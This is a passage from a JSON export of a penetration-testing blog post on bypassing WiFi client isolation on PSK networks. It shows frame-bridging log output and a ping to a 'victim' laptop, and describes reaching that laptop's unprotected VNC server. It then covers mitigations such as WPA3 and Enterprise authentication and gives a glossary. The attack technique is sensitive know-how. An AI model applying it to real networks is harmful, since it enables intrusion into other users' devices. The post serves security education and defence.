92:37:84:31:58:75 -&gt; 01:00:5e:00:00:fb\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 33:33:00:00:00:fb\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 94:e6:f7:b7:fe:94\n&#91;&lt;] WiFi -&gt; TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -&gt; 92:37:84:31:58:75 (IP)\n&#91;&gt;] TAP -&gt; WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -&gt; 33:33:00:00:00:02\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ICMP packets sent to the victim are replied to, demonstrating connectivity:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ping 10.1.1.6\nPING 10.1.1.6 (10.1.1.6) 56(84) bytes of data.\n64 bytes from 10.1.1.6: icmp_seq=1 ttl=128 time=116 ms\n64 bytes from 10.1.1.6: icmp_seq=3 ttl=128 time=32.4 ms\n64 bytes from 10.1.1.6: icmp_seq=4 ttl=128 time=43.5 ms\n64 bytes from 10.1.1.6: icmp_seq=5 ttl=128 time=38.3 ms\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And once again we can attack Steve\u2019s laptop, in this case connecting to the unprotected VNC Server. Looks like Steve is busy playing a cool game!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/jungle-jumble.png\"><img decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2025\/11\/jungle-jumble.png\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"parting-thoughts\">Parting Thoughts<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Client isolation on Open, WPA-Personal and WPA2-Personal networks isn\u2019t an effective security control to defend WiFi clients. The tooling demonstrates an attacker could bypass client isolation controls to attack clients on WiFi networks, since the radio transmission is happening from the attacker WiFi card directly to the client WiFi without the AP getting involved, it\u2019s challenging to see how client isolation could be made to defend against this attack pattern.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you\u2019re relying on client isolation as a key security mechanism, it may be time to consider some alternative options.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WPA3 makes the attack infeasible (or at least much more difficult) through its improved key management. The PMK is no longer directly derived from the PSK alone. Instead, the PMK is derived from a shared secret established during the SAE authentication process, which incorporates the password along with unique random values from both client and access point (Perfect Forward Secrecy).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Enterprise authentication also makes the attack infeasible. Unlike the use of a pre-shared key where all PMKs are derived from the PSK. A client\u2019s PMK is derived from their individual EAP credentials. To target individual users, the attacker would need these credentials to calculate the required encryption keys to establish direct encrypted communication with the client.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Migrating to WPA3-Personal or Enterprise authentication would provide the best mitigation from this attack. However, if it is essential your WiFi network uses a PSK for authentication with WPA or WPA2 then some vendors support Private PSK (PPSK), where one SSID supports multiple PSKs. Different PSKs are put onto separate VLANs, creating network-level isolation that way. Some further digging would be needed to see how PPSK in WPA2 holds up against these attacks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using Python with Scapy to demonstrate isn\u2019t the fastest approach but an RDP connection is perfectly usable over the script in my testing. A challenge for the reader could be to re-implement the attack with a faster network stack. Another area of improvement could be to implement a reliable way for the attacker to obtain an IP address from the DHCP server, rather than using a static IP.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"glossary\">Glossary<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Frame Control Field<\/em>&nbsp;is the first 2 bytes of an 802.11 frame that contains information about the frame, including the DS bits which indicate the traffic direction. From-DS=1 indicates the traffic was transmitted by the DS, and To-DS=1 indicates the traffic is going to the DS for routing to the destination address.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>TAP<\/em>&nbsp;devices are virtual layer 2 network interfaces provided by the Linux kernel that allow userspace programs to handle network traffic directly, bypassing the normal kernel network stack.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Pairwise-Master-Key (PMK)<\/em>&nbsp;is created by combining your WiFi password with the network name. This PMK serves as the main key that doesn\u2019t change.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Pairwise Transient Key (PTK)<\/em>&nbsp;is created by mixing the PMK with two random numbers, the router\u2019s address, and your device\u2019s address.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Group Temporal Key (GTK)<\/em>&nbsp;is a shared key that encrypts multicast\/broadcast traffic sent to every client on the network.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Temporal Key (TK)<\/em>&nbsp;is a unique key for each client that encrypts unicast traffic between that client and the AP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Extensible Authentication Protocol over LAN (EAPOL)<\/em>&nbsp;is the protocol that carries the 4-way handshake messages between the client and access point during WPA authentication.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Simultaneous Authentication of Equals (SAE)<\/em>&nbsp;is a password-based authentication method introduced in WPA3 that is a variant of the Dragonfly Key Exchange based on Diffie\u2013Hellman key exchange to establish a shared key between the client and access point.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>WiFi network client isolation is a security feature that prevents devices connected to the same network communicating directly with each other. This article shows how to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":9157,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[227,229,230,234],"tags":[242,5,4,259,230,276,279],"class_list":["post-9156","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux-and-open-source","category-network-and-protocol-security","category-penetration-testing","category-training-and-reference","tag-cron","tag-linux","tag-network-security","tag-penetration-testing","tag-training","tag-wi-fi"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/9156","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=9156"}],"version-history":[{"count":1,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/9156\/revisions"}],"predecessor-version":[{"id":9164,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/9156\/revisions\/9164"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/9157"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=9156"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=9156"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=9156"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}